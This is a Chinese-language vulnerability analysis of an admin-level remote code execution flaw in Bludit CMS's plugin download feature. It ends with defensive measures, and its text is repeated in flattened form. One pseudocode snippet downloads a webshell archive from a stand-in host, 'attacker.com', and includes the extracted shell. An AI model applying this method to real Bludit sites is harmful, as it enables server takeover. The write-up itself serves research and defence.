Bludit cms漏洞挖掘
字数 1040 2025-08-05 00:15:28

Bludit CMS 后台RCE漏洞分析与利用

漏洞概述

Bludit CMS存在一个后台远程代码执行(RCE)漏洞,攻击者可以通过插件下载功能从远程服务器下载恶意压缩包并解压,最终实现任意代码执行。

环境准备

  • Bludit CMS源码:https://bludit.com/
  • 特点:不依赖数据库,数据以JSON形式存储在文件中

漏洞分析

文件写入点分析

  1. edit-category/general路由中可以修改数据并写入文件
  2. 文件处理流程:
    • 直接将$_POST整个数组传入
    • 对部分参数进行strip_tags处理
    • 写入newKey

写入限制

  1. 每个文件开头都有defined('BLUDIT')or die('xxx');检查
  2. 此常量仅在入口文件中声明
  3. 导致即使能注入代码,在没有文件包含的情况下也难以利用

插件机制分析

  1. 插件存储在bl-plugins文件夹
  2. 通过activate加载插件
  3. admin.php文件包含插件文件并实例化插件类存入数组
  4. site.php会遍历并调用已激活插件的beforeall方法

漏洞利用点

  1. 插件中的downloadfiles方法存在漏洞
    • 调用TCP::download方法
    • 从URL获取内容并写入目标文件
    • 最后解压到目标文件所在目录(romote-content目录)

漏洞利用步骤

  1. 构造恶意压缩包并放置在攻击者控制的服务器上
  2. 修改source参数指向恶意服务器
  3. 上传带有WebShell的压缩包
  4. 利用trywebhook功能:
    • 将webhook写入配置文件
    • 访问对应webhook路由时会执行插件的beforeall方法
    • 导致恶意文件被下载解压

完整利用流程

  1. 登录Bludit后台(需要管理员权限)

  2. 进入插件管理页面

  3. 利用插件下载功能:

    // 伪代码表示攻击流程
    $malicious_zip = "http://attacker.com/shell.zip"; // 包含WebShell的压缩包
    $target_path = "/path/to/bludit/bl-plugins/"; // Bludit插件目录
    
    // 通过插件下载功能触发漏洞
    downloadPlugin($malicious_zip);
    
    // 系统会自动解压到romote-content目录
    // 包含解压后的恶意文件
    include($target_path . "romote-content/shell.php");
    
  4. 访问解压后的WebShell获取系统权限

防御措施

  1. 限制插件下载源为官方仓库
  2. 对下载的文件进行严格校验
  3. 更新到最新版本(如果已修复)
  4. 实施最小权限原则,限制Web服务器用户权限
  5. 监控bl-plugins目录的异常文件变化

相似漏洞

此漏洞与极致CMS后台的一个漏洞原理相似,都是通过插件下载功能实现远程代码执行。

总结

该漏洞利用Bludit CMS插件下载功能缺乏安全校验的缺陷,通过构造恶意压缩包实现远程代码执行。由于需要管理员权限,属于后台RCE漏洞,危害程度取决于攻击者是否已获取后台权限。建议用户及时更新并严格管理插件安装源。

Bludit CMS 后台RCE漏洞分析与利用 漏洞概述 Bludit CMS存在一个后台远程代码执行(RCE)漏洞,攻击者可以通过插件下载功能从远程服务器下载恶意压缩包并解压,最终实现任意代码执行。 环境准备 Bludit CMS源码:https://bludit.com/ 特点:不依赖数据库,数据以JSON形式存储在文件中 漏洞分析 文件写入点分析 在 edit-category/general 路由中可以修改数据并写入文件 文件处理流程: 直接将 $_POST 整个数组传入 对部分参数进行 strip_tags 处理 写入 newKey 中 写入限制 每个文件开头都有 defined('BLUDIT')or die('xxx'); 检查 此常量仅在入口文件中声明 导致即使能注入代码,在没有文件包含的情况下也难以利用 插件机制分析 插件存储在 bl-plugins 文件夹 通过 activate 加载插件 admin.php 文件包含插件文件并实例化插件类存入数组 site.php 会遍历并调用已激活插件的 beforeall 方法 漏洞利用点 插件中的 downloadfiles 方法存在漏洞 调用 TCP::download 方法 从URL获取内容并写入目标文件 最后解压到目标文件所在目录( romote-content 目录) 漏洞利用步骤 构造恶意压缩包并放置在攻击者控制的服务器上 修改 source 参数指向恶意服务器 上传带有WebShell的压缩包 利用 trywebhook 功能: 将webhook写入配置文件 访问对应webhook路由时会执行插件的 beforeall 方法 导致恶意文件被下载解压 完整利用流程 登录Bludit后台(需要管理员权限) 进入插件管理页面 利用插件下载功能: 访问解压后的WebShell获取系统权限 防御措施 限制插件下载源为官方仓库 对下载的文件进行严格校验 更新到最新版本(如果已修复) 实施最小权限原则,限制Web服务器用户权限 监控 bl-plugins 目录的异常文件变化 相似漏洞 此漏洞与极致CMS后台的一个漏洞原理相似,都是通过插件下载功能实现远程代码执行。 总结 该漏洞利用Bludit CMS插件下载功能缺乏安全校验的缺陷,通过构造恶意压缩包实现远程代码执行。由于需要管理员权限,属于后台RCE漏洞,危害程度取决于攻击者是否已获取后台权限。建议用户及时更新并严格管理插件安装源。